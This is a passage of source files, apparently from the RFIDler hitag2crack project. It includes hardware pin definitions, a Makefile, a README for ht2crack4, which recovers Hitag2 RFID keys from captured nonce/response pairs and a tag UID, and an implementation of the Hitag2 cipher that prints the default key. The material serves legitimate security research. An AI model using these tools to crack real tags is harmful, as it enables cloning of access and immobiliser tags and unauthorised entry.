DEBUG_PIN_2= !DEBUG_PIN_2\r\n#define DEBUG_PIN_3                 LATCbits.LATC3\r\n#define DEBUG_PIN_3_TOGGLE()        DEBUG_PIN_3= !DEBUG_PIN_3\r\n#define DEBUG_PIN_4                 LATEbits.LATE5\r\n#define DEBUG_PIN_4_TOGGLE()        DEBUG_PIN_4= !DEBUG_PIN_4\r\n\r\n// spi (sdi1) for sd card (not directly referenced)\r\n//#define SD_CARD_RX                  LATCbits.LATC4\r\n//#define SD_CARD_TX                  LATDbits.LATD0\r\n//#define SD_CARD_CLK                 LATDbits.LATD10\r\n//#define SD_CARD_SS                  LATDbits.LATD9\r\n// spi for SD card\r\n#define SD_CARD_DET                 LATFbits.LATF0\r\n#define SD_CARD_WE                  LATFbits.LATF1      // write enable - unused for microsd but allocated anyway as library checks it\r\n                                                        // (held LOW by default - cut solder bridge to GND to free pin if required)\r\n#define SPI_SD                      SPI_CHANNEL1\r\n#define SPI_SD_BUFF                 SPI1BUF\r\n#define SPI_SD_STAT                 SPI1STATbits\r\n// see section below for more defines!\r\n\r\n// iso 7816 smartcard\r\n// microchip SC module defines pins so we don't need to, but\r\n// they are listed here to help avoid conflicts\r\n#define ISO_7816_RX                 LATBbits.LATF2 // RX\r\n#define ISO_7816_TX                 LATBbits.LATF8 // TX\r\n#define ISO_7816_VCC                LATBbits.LATB9 // Power\r\n#define ISO_7816_CLK                LATCbits.LATD1 // Clock\r\n#define ISO_7816_RST                LATEbits.LATE8 // Reset\r\n\r\n// user LED\r\n#define USER_LED                    LATDbits.LATD7\r\n#define USER_LED_ON()               LATDbits.LATD7=1\r\n#define USER_LED_OFF()              LATDbits.LATD7=0\r\n\r\n// LCR\r\n#define LCR_CALIBRATE               LATBbits.LATB5\r\n\r\n// wiegand / clock & data\r\n#define WIEGAND_IN_0                PORTDbits.RD5\r\n#define WIEGAND_IN_0_PULLUP         CNPUEbits.CNPUE14\r\n#define WIEGAND_IN_0_PULLDOWN       CNPDbits.CNPD14\r\n#define WIEGAND_IN_1                PORTDbits.RD6\r\n#define WIEGAND_IN_1_PULLUP         CNPUEbits.CNPUE15\r\n#define WIEGAND_IN_1_PULLDOWN       CNPDbits.CNPD15\r\n#define CAND_IN_DATA                WIEGAND_IN_0\r\n#define CAND_IN_CLOCK               WIEGAND_IN_1\r\n\r\n#define WIEGAND_OUT_0               LATDbits.LATD3\r\n#define WIEGAND_OUT_1               LATDbits.LATD2\r\n#define WIEGAND_OUT_0_TRIS          TRISDbits.TRISD3\r\n#define WIEGAND_OUT_1_TRIS          TRISDbits.TRISD2\r\n#define CAND_OUT_DATA               WIEGAND_OUT_0\r\n#define CAND_OUT_CLOCK              WIEGAND_OUT_1\r\n\r\n// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier\r\n#define READER_CLOCK_ENABLE         LATEbits.LATE9\r\n#define READER_CLOCK_ENABLE_ON()    READER_CLOCK_ENABLE=CLOCK_ON\r\n#define READER_CLOCK_ENABLE_OFF(x)  {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}\r\n\r\n// these input pins must NEVER bet set to output or they will cause short circuits!\r\n// they can be used to see data from reader before it goes into or gate\r\n#define OR_IN_A                     PORTAbits.RA4\r\n#define OR_IN_B                     PORTAbits.RA5\r\n\r\n\r\n// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on\r\n#define Init_GPIO() { \\\r\n     CNCONbits.ON= TRUE; \\\r\n     CNENbits.CNEN14= TRUE; \\\r\n     CNENbits.CNEN15= TRUE; \\\r\n     TRISAbits.TRISA2= INPUT_PIN; \\\r\n     TRISAbits.TRISA4= INPUT_PIN; \\\r\n     TRISAbits.TRISA5= INPUT_PIN; \\\r\n     TRISAbits.TRISA14= OUTPUT_PIN; \\\r\n     TRISAbits.TRISA15= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB4= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB5= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB9= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB11= INPUT_PIN; \\\r\n     TRISBbits.TRISB12= INPUT_PIN; \\\r\n     TRISBbits.TRISB13= INPUT_PIN; \\\r\n     TRISCbits.TRISC1= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC2= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC3= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC4= INPUT_PIN; \\\r\n     TRISDbits.TRISD0= INPUT_PIN; \\\r\n     TRISDbits.TRISD1= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD2= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD3= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD4= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD5= INPUT_PIN; \\\r\n     TRISDbits.TRISD6= INPUT_PIN; \\\r\n     TRISDbits.TRISD7= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD8= INPUT_PIN; \\\r\n     TRISDbits.TRISD11= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD12= INPUT_PIN; \\\r\n     TRISEbits.TRISE0= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE1= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE2= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE3= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE5= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE6= INPUT_PIN; \\\r\n     TRISEbits.TRISE7= INPUT_PIN; \\\r\n     TRISEbits.TRISE8= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE9= OUTPUT_PIN; \\\r\n     TRISFbits.TRISF0= INPUT_PIN; \\\r\n     TRISFbits.TRISF1= INPUT_PIN; \\\r\n     TRISFbits.TRISF2= INPUT_PIN; \\\r\n     TRISFbits.TRISF8= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG6= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG12= INPUT_PIN; \\\r\n     TRISGbits.TRISG13= INPUT_PIN; \\\r\n     TRISGbits.TRISG9= OUTPUT_PIN; \\\r\n     LATBbits.LATB9= LOW; \\\r\n     LATCbits.LATC1= LOW; \\\r\n     LATCbits.LATC2= LOW; \\\r\n     LATCbits.LATC3= LOW; \\\r\n     LATDbits.LATD2= WIEGAND_IN_1; \\\r\n     LATDbits.LATD3= WIEGAND_IN_0; \\\r\n     LATEbits.LATE5= LOW; \\\r\n     LATEbits.LATE9= HIGH; \\\r\n     }\r\n\r\n// uart3 (CLI/API) speed\r\n#define BAUDRATE3       115200UL\r\n#define BRG_DIV3        4\r\n#define BRGH3           1\r\n\r\n// spi for potentiometer\r\n#define SPI_POT                     SPI_CHANNEL4\r\n#define SPI_POT_BUFF                SPI4BUF\r\n#define SPI_POT_STAT                SPI4STATbits\r\n\r\n// spi for sd card - defines required for Microchip SD-SPI libs\r\n// define interface type\r\n#define USE_SD_INTERFACE_WITH_SPI\r\n\r\n#define MDD_USE_SPI_1\r\n#define SPI_START_CFG_1     (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)\r\n#define SPI_START_CFG_2     (SPI_ENABLE)\r\n// Define the SPI frequency\r\n#define SPI_FREQUENCY\t\t\t(20000000)\r\n// Description: SD-SPI Card Detect Input bit\r\n#define SD_CD               PORTFbits.RF0\r\n// Description: SD-SPI Card Detect TRIS bit\r\n#define SD_CD_TRIS          TRISFbits.TRISF0\r\n// Description: SD-SPI Write Protect Check Input bit\r\n#define SD_WE               PORTFbits.RF1\r\n// Description: SD-SPI Write Protect Check TRIS bit\r\n#define SD_WE_TRIS          TRISFbits.TRISF1\r\n// Description: The main SPI control register\r\n#define SPICON1             SPI1CON\r\n// Description: The SPI status register\r\n#define SPISTAT             SPI1STAT\r\n// Description: The SPI Buffer\r\n#define SPIBUF              SPI1BUF\r\n// Description: The receive buffer full bit in the SPI status register\r\n#define SPISTAT_RBF         SPI1STATbits.SPIRBF\r\n// Description: The bitwise define for the SPI control register (i.e. _____bits)\r\n#define SPICON1bits         SPI1CONbits\r\n// Description: The bitwise define for the SPI status register (i.e. _____bits)\r\n#define SPISTATbits         SPI1STATbits\r\n// Description: The enable bit for the SPI module\r\n#define SPIENABLE           SPICON1bits.ON\r\n// Description: The definition for the SPI baud rate generator register (PIC32)\r\n#define SPIBRG              SPI1BRG\r\n// Description: The TRIS bit for the SCK pin\r\n#define SPICLOCK            TRISDbits.TRISD10\r\n// Description: The TRIS bit for the SDI pin\r\n#define SPIIN               TRISCbits.TRISC4\r\n// Description: The TRIS bit for the SDO pin\r\n#define SPIOUT              TRISDbits.TRISD0\r\n#define SD_CS               LATDbits.LATD9\r\n// Description: SD-SPI Chip Select TRIS bit\r\n#define SD_CS_TRIS          TRISDbits.TRISD9\r\n//SPI library functions\r\n#define putcSPI             putcSPI1\r\n#define getcSPI             getcSPI1\r\n#define OpenSPI(config1, config2)   OpenSPI1(config1, config2)\r\n\r\n// Define setup parameters for OpenADC10 function\r\n// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample\r\n#define ADC_CONFIG1     (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)\r\n// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode\r\n#define ADC_CONFIG2     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n\r\n// Use ADC internal clock | Set sample time\r\n#define ADC_CONFIG3     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)\r\n\r\n// slow sample rate for tuning coils\r\n#define ADC_CONFIG2_SLOW     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n#define ADC_CONFIG3_SLOW     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)\r\n\r\n// use AN11\r\n#define ADC_CONFIGPORT  ENABLE_AN11_ANA\r\n// Do not assign channels to scan\r\n#define ADC_CONFIGSCAN  SKIP_SCAN_ALL\r\n\r\n#define ADC_TO_VOLTS        0.003208F\r\n\r\n\r\n// flash memory - int myvar = *(int*)(myflashmemoryaddress);\r\n\r\n// memory is 0x9D005000 to 0x9D07FFFF\r\n\r\n#define NVM_MEMORY_END 0x9D07FFFF\r\n#define NVM_PAGE_SIZE\t4096\r\n#define NVM_PAGES       2       // config & VTAG\r\n#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))\r\n\r\n// UART timeout in us\r\n#define SERIAL_TIMEOUT                  100\r\n\r\n#endif\r\n"
  },
  {
    "path": "hitag2crack/crack4/Makefile",
    "content": "WARN=-Wall\nCFLAGS=-c $(WARN) $(INCLUDE)\nLIBS=-lpthread\n\nall: ht2crack4.c HardwareProfile.h rfidler.h util.h utilpart.o hitagcrypto.o ht2crack2utils.o\n\tcc $(WARN) -o ht2crack4 ht2crack4.c utilpart.o hitagcrypto.o ht2crack2utils.o $(LIBS)\n\nutilpart.o: utilpart.c util.h\n\tcc $(CFLAGS) utilpart.c\n\nhitagcrypto.o: hitagcrypto.c hitagcrypto.h\n\tcc $(CFLAGS) hitagcrypto.c\n\nht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h\n\tcc $(CFLAGS) ht2crack2utils.c\n\nclean:\n\trm -rf *.o ht2crack4\n\nfresh: clean all\n"
  },
  {
    "path": "hitag2crack/crack4/README",
    "content": "ht2crack4\n\n\n\nBuild\n-----\n\nmake clean\nmake\n\n\nRun\n---\n\nYou'll need a file consisting of 16 (or more) nR aR pairs.  These are the\nencrypted nonces and challenge response values.  They should be in hex with\none pair per line, e.g.:\n0x12345678 0x9abcdef0\n\n./ht2crack4 -u UID -n NRARFILE [-N nonces to use] [-t table size]\n\nUID is the UID of the tag that you used to gather the nR aR values.\nNRARFILE is the file containing the nR aR values.\nThe number of nonces to use allows you to use less than 32 nonces to increase\nspeed.\nThe table size can be tweaked for speed.  Start with 500000 and double it each\ntime it fails to find the key.\n\n\n"
  },
  {
    "path": "hitag2crack/crack4/hitagcrypto.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n// uncomment this to build file as a standalone crypto test program\n// #define UNIT_TEST\n// also uncomment to include verbose debug prints\n// #define TEST_DEBUG\n\n//#include <GenericTypeDefs.h>\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitagcrypto.h\"\n#include \"util.h\"\n\n#ifdef UNIT_TEST\n#include <stdio.h>\n#endif\n\n#if defined(UNIT_TEST) && defined(TEST_DEBUG)\n// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.\n// This may need changing for other compilers/platforms.\n#define DEBUG_PRINTF(...) printf(__VA_ARGS__)\n#else\n#define DEBUG_PRINTF(...)\n#endif\n\n\n/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)\n\n   Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft\n   fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.\n   At about the same time, late 1980s to early 1990s, Mikron developed the\n   similarly featured Mifare micropayment card for 13.56MHz RFID.\n   (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a\n   priority date of 23 Aug 1990.)\n   Mikron was subsequently acquired by Philips Semiconductors in 1995.\n   Philips Semiconductors divsion subsequently became NXP.\n\n   + Modulation read/write device -> transponder: 100 % ASK and binary pulse\n     length coding\n   + Modulation transponder -> read/write device: Strong ASK modulation,\n     selectable Manchester or Biphase coding\n   + Hitag S, Hitag u; anti-collision procedure\n   + Fast anti-collision protocol\n   + Hitag u; optional Cyclic Redundancy Check (CRC)\n   + Reader Talks First mode\n   + Hitag 2 & later; Transponder Talks First (TTF) mode\n   + Temporary switch from Transponder Talks First into Reader Talks First\n     (RTF) Mode\n   + Data rate read/write device to transponder: 5.2 kbit/s\n   + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s\n   + 32-bit password feature\n   + Hitag 2, S = 32-bit Unique Identifier\n   + Hitag u = 48-bit Unique Identifier\n   + Selectable password modes for reader / tag mutual authentication\n     (Hitag 1 has 2 pairs of keys, later versions have 1 pair)\n   + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key\n\n   Known tag types:\n\n   HITAG 1            2048 bits total memory\n\n   HITAG 2            256 Bit total memory        Read/Write\n                      8 pages of 32 bits, inc UID (32),\n\t\t      secret key (64), password (24), config (8)\n\n   HITAG S 32         32 bits Unique Identifier   Read Only\n   HITAG S 256        256 bits total memory       Read/Write\n   HITAG S 2048       2048 bits total memory      Read/Write\n\n   HITAG u RO64       64 bits total memory        Read Only\n   HITAG u            128 bits total memory       Read/Write\n   HITAG u Advanced   512 bits total memory       Read/Write\n   HITAG u Advanced+  1760 bits total memory      Read/Write\n\n   Default 48-bit key for Hitag 2, S encryption:\n       \"MIKRON\"       =  O  N  M  I  K  R\n       Key            = 4F 4E 4D 49 4B 52\n\n*/\n\n\n// We want the crypto functions to be as fast as possible, so optimize!\n// The best compiler optimization in Microchip's free XC32 edition is -O1\n#pragma GCC optimize(\"O1\")\n\n// private, nonlinear function to generate 1 crypto bit\nstatic uint32_t hitag2_crypt(uint64_t x);\n\n\n// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number\n#define pickbits2_2(S, A, B)       ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )\n#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )\n#define pickbits1_1_2(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 0xC) )\n#define pickbits2_1_1(S, A, B, C)  ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \\\n                                   ((S >> (C - 3)) & 8) )\n#define pickbits1_2_1(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \\\n                                   ((S >> (C - 3)) & 8) )\n\n\nstatic uint32_t hitag2_crypt(uint64_t s)\n{\n    const uint32_t ht2_function4a = 0x2C79;\t// 0010 1100 0111 1001\n    const uint32_t ht2_function4b = 0x6671;\t// 0110 0110 0111 0001\n    const uint32_t ht2_function5c = 0x7907287B;\t// 0111 1001 0000 0111 0010 1000 0111 1011\n    uint32_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;\n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;\n\n    DEBUG_PRINTF(\"hitag2_crypt bitindex = %02x\\n\", bitindex);\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n/*\n * Parameters:\n * Hitag_State* pstate - output, internal state after initialisation\n * uint64_t sharedkey  - 48 bit key shared between reader & tag\n * uint32_t serialnum  - 32 bit tag serial number\n * uint32_t initvector - 32 bit random IV from reader, part of tag authentication\n */\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)\n{\n    // init state, from serial number and lowest 16 bits of shared key\n    uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;\n\n    // mix the initialisation vector and highest 32 bits of the shared key\n    initvector ^= (uint32_t) (sharedkey >> 16);\n\n    // move 16 bits from (IV xor Shared Key) to top of uint64_t state\n    // these will be XORed in turn with output of the crypto function\n    state |= (uint64_t) initvector << 48;\n    initvector >>= 16;\n\n    // unrolled loop is faster on PIC32 (MIPS), do 32 times\n    // shift register, then calc new bit\n    state >>= 1;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    // highest 16 bits of IV XOR Shared Key\n    state |= (uint64_t) initvector << 47;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state ^= (uint64_t) hitag2_crypt(state) << 47;\n\n    DEBUG_PRINTF(\"hitag2_init result = %012I64x\\n\", state);\n    pstate->shiftreg = state;\n    /* naive version for reference, LFSR has 16 taps\n    pstate->lfsr = state ^ (state >>  2) ^ (state >>  3) ^ (state >>  6)\n              ^ (state >>  7) ^ (state >>  8) ^ (state >> 16) ^ (state >> 22)\n              ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n              ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);\n    */\n    {\n        // optimise with one 64-bit intermediate\n        uint64_t temp = state ^ (state >> 1);\n        pstate->lfsr = state ^ (state >>  6) ^ (state >> 16)\n                  ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n                  ^ (temp >>  2) ^ (temp >>  7) ^ (temp >> 22)\n                  ^ (temp >> 42) ^ (temp >> 46);\n    }\n}\n\n\n/*\n * Return up to 32 crypto bits.\n * Last bit is in least significant bit, earlier bits are shifted left.\n * Note that the Hitag transmission protocol is least significant bit,\n * so we may want to change this, or add a function, that returns the\n * crypto output bits in the other order.\n *\n * Parameters:\n * Hitag_State* pstate - in/out, internal cipher state after initialisation\n * uint32_t steps      - number of bits requested, (capped at 32)\n */\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)\n{\n    uint64_t state = pstate->shiftreg;\n    uint32_t result = 0;\n    uint64_t lfsr = pstate->lfsr;\n\n    if (steps == 0)\n        return 0;\n\n//    if (steps > 32)\n//        steps = 32;\n\n    do {\n        // update shift registers\n        if (lfsr & 1) {\n            state = (state >> 1) | 0x800000000000;\n            lfsr = (lfsr >> 1) ^ 0xB38083220073;\n\n            // accumulate next bit of crypto\n            result = (result << 1) | hitag2_crypt(state);\n        } else {\n            state >>= 1;\n            lfsr >>= 1;\n\n            result = (result << 1) | hitag2_crypt(state);\n        }\n    } while (--steps);\n\n    DEBUG_PRINTF(\"hitag2_nstep state = %012I64x, result %02x\\n\", state, result);\n    pstate->shiftreg = state;\n    pstate->lfsr = lfsr;\n    return result;\n}\n\n// end of crypto core, revert to default optimization level\n#pragma GCC reset_options\n\n\n/* Test code\n\n   Test data and below information about it comes from\n     http://www.mikrocontroller.net/attachment/102194/hitag2.c\n     Written by \"I.C. Wiener 2006-2007\"\n\n   \"MIKRON\"\t\t=  O  N  M  I  K  R\n    Key\t\t\t= 4F 4E 4D 49 4B 52\t\t- Secret 48-bit key\n    Serial\t\t= 49 43 57 69\t\t\t- Serial number of the tag, transmitted in clear\n    Random\t\t= 65 6E 45 72\t\t\t- Random IV, transmitted in clear\n    ~28~DC~80~31\t= D7 23 7F CE\t\t\t- Authenticator value = inverted first 4 bytes of the keystream\n\n   The code below must print out \"D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6\".\n   The inverse of the first 4 bytes is sent to the tag to authenticate.\n   The rest is encrypted by XORing it with the subsequent keystream.\n\n*/\n\n\n/*\nunsigned int hitag2_benchtest_gen32()\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n\n    // init crypto\n    hitag2_init(&state, key, serial, initvec);\n\n    // benchmark: generation of 32 bit stream (excludes initialisation)\n    GetTimer_us(RESET);\n\n    (void) hitag2_nstep(&state, 32);\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned int hitag2_benchtest(uint32_t count)\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 